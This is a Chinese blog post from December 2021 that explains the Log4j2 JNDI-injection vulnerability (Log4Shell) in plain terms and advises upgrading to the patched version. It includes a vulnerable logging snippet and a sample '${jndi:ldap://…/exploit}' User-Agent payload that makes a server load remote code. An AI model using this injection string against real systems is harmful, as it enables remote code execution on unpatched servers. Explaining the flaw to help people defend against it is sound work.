危险,Log4j藏有核弹级漏洞!

小林coding

共 3198字,需浏览 7分钟

 ·

2021-12-14 21:16

相信大家这两天应该被这么一条新闻刷屏了:

这个漏洞到底是怎么回事?

核弹级,真的有那么厉害吗?

怎么利用这个漏洞呢?

我看了很多技术分析文章,都太过专业,很多非Java技术栈或者不搞安全的人只能看个一知半解,导致大家只能看个热闹,对这个漏洞的成因、原理、利用方式、影响面理解的不到位。

这篇文章,我尝试让所有技术相关的朋友都能看懂:这个注定会载入网络安全史册上的漏洞,到底是怎么一回事!

log4j2

不管是什么编程语言,不管是前端后端还是客户端,对打日志都不会陌生。

通过日志,可以帮助我们了解程序的运行情况,排查程序运行中出现的问题。

在Java技术栈中,用的比较多的日志输出框架主要是log4j2logback

今天讨论的主角就是log4j2。

我们经常会在日志中输出一些变量,比如:

logger.info("client ip: {}", clientIp)

现在思考一个问题:

假如现在想要通过日志输出一个Java对象,但这个对象不在程序中,而是在其他地方,比如可能在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?

log4j2的强大之处在于,除了可以输出程序中的变量,它还提供了一个叫Lookup的东西,可以用来输出更多内容:

lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。

lookup相当于是一个接口,具体去哪里查找,怎么查找,就需要编写具体的模块去实现了,类似于面向对象编程中多态那意思。

好在,log4j2已经帮我们把常见的查找途径都进行实现了:

具体每一个的意思,这里就不详述了,这不是本文的重点。

JNDI

主要来看其中那个叫JNDI的东西:

JNDI即Java Naming and Directory Interface(JAVA命名和目录接口),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

看不懂?看不懂就对了!

简单粗暴理解:有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。

那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。

LDAP

继续把目光聚焦,咱们只看这个叫LDAP的东西。

LDAP即Lightweight Directory Access Protocol(轻量级目录访问协议),目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。

看不懂?看不懂就对了!

这个东西用在统一身份认证领域比较多,但今天也不是这篇文章的重点。你只需要简单粗暴理解:有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。

漏洞原理

好了,有了以上的基础,再来理解这个漏洞就很容易了。

假如某一个Java程序中,将浏览器的类型记录到了日志中:

String userAgent = request.getHeader("User-Agent");
logger.info(userAgent);

网络安全中有一个准则:不要信任用户输入的任何信息

这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。

假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:

${jndi:ldap://127.0.0.1/exploit}

接下来,log4j2将会对这行要输出的字符串进行解析。

首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。

进一步解析,发现是JNDI扩展内容。

再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。

最后,调用具体负责LDAP的模块去请求对应的数据。

如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!

Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。

如果是自己定义的序列化方式也还好,但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,可以通过远程下载一个class文件,然后下载后加载起来构建对象。

PS:有时候Java对象比较大,直接通过LDAP这些存储不方便,就整了个类似于二次跳转的意思,不直接返回对象内容,而是告诉你对象在哪个class里,让你去那里找。

注意,这里就是核心问题了:JNDI可以远程下载class文件来构建对象!!!

危险在哪里?

如果远程下载的URL指向的是一个黑客的服务器,并且下载的class文件里面藏有恶意代码,那不就完犊子了吗?

还没看懂?没关系,我画了一张图:

这就是鼎鼎大名的JNDI注入攻击!

其实除了LDAP,还有RMI的方式,有兴趣的可以了解下。

JNDI 注入

其实这种攻击手法不是这一次出现了,早在2016的blackhat大会上,就有大佬披露了这种攻击方式。

回过头来看,问题的核心在于:

Java允许通过JNDI远程去下载一个class文件来加载对象,如果这个远程地址是自己的服务器,那还好说,如果是可以被外界来指定的地址,那就要出大问题!

前面的例子中,一直用的127.0.0.1来代替LDAP服务器地址,那如果输入的User-Agent字符串中不是这个地址,而是一个恶意服务器地址呢?

影响规模

这一次漏洞的影响面之所以如此之大,主要还是log4j2的使用面实在是太广了。

一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛,国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外,还有多如牛毛的中小企业选择Java。

另一方面,还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。

在上面这些开发过程中,大量使用了log4j2作为日志输出。只要一个不留神,输出的日志有外部输入混进来,那直接就是远程代码执行RCE,灭顶之灾!

修复

新版的log4j2已经修复了这个问题,大家赶紧升级。

下面是log4j2官网中关于JNDI lookup的说明:

我通过搜索引擎找到了缓存的12月10号前的快照,大家对比一下,比起下面这个缓存,上面那一版多了哪些东西?

答案是:修复后的log4j2在JNDI lookup中增加了很多的限制:

  1. 默认不再支持二次跳转(也就是命名引用)的方式获取对象
  2. 只有在log4j2.allowedLdapClasses列表中指定的class才能获取。
  3. 只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取

以上几道限制,算是彻底封锁了通过打印日志去远程加载class的这条路了。

最后,手机前的各位Java小伙伴儿们,你们写的程序中有用到log4j2吗,有没有某个地方的输出,有外部的参数混进来呢?

赶紧检查检查哦!

大家弄懂这个漏洞了吗?

如果觉得写得还不错,欢迎分享转发,点个赞,感谢大家的阅读。


图解系列文章:

图解文章汇总

计算机基础学习路线

为了拿捏 Redis 数据结构,我画了 40 张图(完整版)

小林的图解系统,大曝光!

不鸽了,小林的「图解网络 3.0 」发布!


浏览 44
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报